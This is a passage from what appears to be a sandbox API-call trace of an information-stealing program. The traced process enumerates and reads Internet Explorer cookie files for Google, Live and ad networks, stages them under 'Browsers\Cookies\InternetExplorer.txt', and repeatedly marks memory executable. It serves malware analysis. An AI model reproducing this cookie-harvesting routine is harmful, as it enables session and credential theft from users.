ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@google[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0163.239] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@google[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@google[1].txt")) returned 0x2020 [0163.240] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@google[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@google[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.240] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x119 [0163.240] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e2ff0, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e2ff0*, lpNumberOfBytesRead=0x1e7df6cc*=0x119, lpOverlapped=0x0) returned 1 [0163.241] CloseHandle (hObject=0xf4) returned 1 [0163.242] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x978af080, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x978af080, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x978af080, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[2].txt", cAlternateFileName="AETADZ~2.TXT")) returned 1 [0163.242] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@live[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@live[2].txt")) returned 0x2020 [0163.242] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@live[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@live[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.242] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x40 [0163.242] ReadFile (in: hFile=0xf4, lpBuffer=0x1f025bd8, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1f025bd8*, lpNumberOfBytesRead=0x1e7df6cc*=0x40, lpOverlapped=0x0) returned 1 [0163.243] CloseHandle (hObject=0xf4) returned 1 [0163.243] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x978af080, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x978af080, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x978af080, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[2].txt", cAlternateFileName="AETADZ~2.TXT")) returned 0 [0163.243] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0163.244] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x978af080, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x978af080, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x978af080, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[2].txt", cAlternateFileName="AETADZ~2.TXT")) returned 0xffffffff [0163.244] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@live[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@live[2].txt")) returned 0x2020 [0163.244] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@live[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@live[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x310 [0163.244] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x40 [0163.244] ReadFile (in: hFile=0x310, lpBuffer=0x1fcf2714, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf2714*, lpNumberOfBytesRead=0x1e7df6cc*=0x40, lpOverlapped=0x0) returned 1 [0163.244] CloseHandle (hObject=0x310) returned 1 [0163.245] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x978af080, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x978af080, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x978af080, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[2].txt", cAlternateFileName="AETADZ~2.TXT")) returned 0 [0163.245] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.245] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\Cookies\\InternetExplorer.txt", cchWideChar=37, lpMultiByteStr=0x1e7de720, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\Cookies\\InternetExplorer.txtè}\x1elã½wÒà½w", lpUsedDefaultChar=0x0) returned 37 [0163.245] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\InternetExplorer.txt", lpszDst=0x1fcf1fdc, cchDstLength=0x25 | out: lpszDst="Browsers\\Cookies\\InternetExplorer.txt") returned 1 [0163.245] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fceadcc, Length=0x16b) returned 0xfb4a9fd6 [0163.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022748, cbMultiByte=19, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="InternetExplorerLowindows\\Cookies\\") returned 19 [0163.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0225f0, cbMultiByte=40, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\Microsoft\\Windows\\Cookies\\Low\\疐[ﱨṽṽ") returned 40 [0163.245] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Cookies\\Low\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned 0x41 [0163.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesWindows\\Cookies\\Low\\疐[ﱨṽṽ") returned 16 [0163.246] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a2ff40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a2ff40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ad.360yield[2].txt", cAlternateFileName="AE49C0~1.TXT")) returned 0x1e258c88 [0163.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.265] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ad.360yield[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad.360yield[2].txt")) returned 0x2020 [0163.266] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ad.360yield[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad.360yield[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.266] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x1bb [0163.266] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e2fd0, nNumberOfBytesToRead=0x1bb, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e2fd0*, lpNumberOfBytesRead=0x1e7df6cc*=0x1bb, lpOverlapped=0x0) returned 1 [0163.267] CloseHandle (hObject=0xf4) returned 1 [0163.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.268] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193d0e80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ad13.adfarm1.adition[2].txt", cAlternateFileName="AEFBAE~1.TXT")) returned 1 [0163.268] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ad13.adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad13.adfarm1.adition[2].txt")) returned 0x2020 [0163.269] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ad13.adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad13.adfarm1.adition[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.269] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x59 [0163.269] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e2fd0, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e2fd0*, lpNumberOfBytesRead=0x1e7df6cc*=0x59, lpOverlapped=0x0) returned 1 [0163.271] CloseHandle (hObject=0xf4) returned 1 [0163.271] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@addthis[2].txt", cAlternateFileName="AE8806~1.TXT")) returned 1 [0163.272] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@addthis[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@addthis[2].txt")) returned 0x2020 [0163.272] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@addthis[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@addthis[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.272] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xb3 [0163.272] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3404, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3404*, lpNumberOfBytesRead=0x1e7df6cc*=0xb3, lpOverlapped=0x0) returned 1 [0163.273] CloseHandle (hObject=0xf4) returned 1 [0163.273] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193127a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adfarm1.adition[2].txt", cAlternateFileName="AEBA93~1.TXT")) returned 1 [0163.274] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adfarm1.adition[2].txt")) returned 0x2020 [0163.275] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adfarm1.adition[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.275] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x65 [0163.275] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e2f0c, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e2f0c*, lpNumberOfBytesRead=0x1e7df6cc*=0x65, lpOverlapped=0x0) returned 1 [0163.276] CloseHandle (hObject=0xf4) returned 1 [0163.276] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adformdsp[2].txt", cAlternateFileName="AE565C~1.TXT")) returned 1 [0163.276] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adformdsp[2].txt")) returned 0x2020 [0163.277] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adformdsp[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.277] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x5d [0163.277] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf2830, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf2830*, lpNumberOfBytesRead=0x1e7df6cc*=0x5d, lpOverlapped=0x0) returned 1 [0163.278] CloseHandle (hObject=0xf4) returned 1 [0163.279] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adform[2].txt", cAlternateFileName="AE357C~1.TXT")) returned 1 [0163.279] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adform[2].txt")) returned 0x2020 [0163.280] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adform[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.280] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x12e [0163.280] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3558, nNumberOfBytesToRead=0x12e, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3558*, lpNumberOfBytesRead=0x1e7df6cc*=0x12e, lpOverlapped=0x0) returned 1 [0163.281] CloseHandle (hObject=0xf4) returned 1 [0163.281] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e29a40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c6400a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c6400a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adnxs[2].txt", cAlternateFileName="AE127D~1.TXT")) returned 1 [0163.281] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adnxs[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adnxs[2].txt")) returned 0x2020 [0163.282] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adnxs[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adnxs[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.282] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x2e9 [0163.282] ReadFile (in: hFile=0xf4, lpBuffer=0x1f46400c, nNumberOfBytesToRead=0x2e9, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1f46400c*, lpNumberOfBytesRead=0x1e7df6cc*=0x2e9, lpOverlapped=0x0) returned 1 [0163.284] CloseHandle (hObject=0xf4) returned 1 [0163.284] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adscale[1].txt", cAlternateFileName="AE1307~1.TXT")) returned 1 [0163.284] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adscale[1].txt")) returned 0x2020 [0163.285] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adscale[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.285] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x57 [0163.285] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf2aa0, nNumberOfBytesToRead=0x57, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf2aa0*, lpNumberOfBytesRead=0x1e7df6cc*=0x57, lpOverlapped=0x0) returned 1 [0163.286] CloseHandle (hObject=0xf4) returned 1 [0163.286] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd112dfe0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd117a2a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd117a2a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, 